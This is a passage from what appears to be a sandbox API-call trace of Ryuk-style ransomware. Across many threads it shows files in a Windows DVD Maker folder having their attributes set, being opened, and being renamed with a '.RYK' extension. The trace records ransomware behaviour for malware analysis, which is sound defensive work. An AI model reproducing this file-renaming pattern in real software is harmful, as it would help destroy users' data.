	[0184.504] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.514] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 952
	os_tid = 0x1488

	[0184.521] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0184.527] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.537] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 953
	os_tid = 0x148c

	[0184.544] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png", dwFileAttributes=0x80) returned 0
	[0184.554] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.566] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 954
	os_tid = 0x1490

	[0184.548] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0184.548] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.548] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 955
	os_tid = 0x1494

	[0184.573] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0184.578] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.589] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.590] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 956
	os_tid = 0x1498

	[0184.596] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0184.601] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.612] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 957
	os_tid = 0x149c

	[0184.619] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0184.624] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.635] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 958
	os_tid = 0x14a0

	[0184.642] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0184.647] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.658] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 959
	os_tid = 0x14a4

	[0184.752] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0184.757] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.769] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.769] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 961
	os_tid = 0x14b8

	[0184.910] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png", dwFileAttributes=0x80) returned 0
	[0184.916] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.927] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 962
	os_tid = 0x14bc

	[0184.934] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png", dwFileAttributes=0x80) returned 0
	[0184.940] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.950] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.950] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 963
	os_tid = 0x14c0

	[0184.958] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0184.963] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.975] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 964
	os_tid = 0x14c4

	[0184.982] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0185.296] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.296] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 965
	os_tid = 0x14c8

	[0184.986] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0185.298] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.298] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.298] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 966
	os_tid = 0x14cc

	[0184.988] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0185.299] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.300] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.300] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 967
	os_tid = 0x14d0

	[0184.989] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0185.301] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.301] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 968
	os_tid = 0x14d4

	[0184.992] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0185.304] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.304] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 969
	os_tid = 0x14d8

	[0184.993] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png", dwFileAttributes=0x80) returned 0
	[0185.306] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 970
	os_tid = 0x14dc

	[0184.995] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png", dwFileAttributes=0x80) returned 0
	[0185.307] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.308] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.308] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 971
	os_tid = 0x14e0

	[0184.996] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png", dwFileAttributes=0x80) returned 0
	[0185.312] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.322] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 972
	os_tid = 0x14e4

	[0184.998] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png", dwFileAttributes=0x80) returned 0
	[0184.998] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 973
	os_tid = 0x14e8

	[0185.001] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png", dwFileAttributes=0x80) returned 0
	[0185.330] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 974
	os_tid = 0x14ec

	[0185.003] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png", dwFileAttributes=0x80) returned 0
	[0185.333] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.333] CloseHandle (hObject=0xffffffffffffffff) returned 0
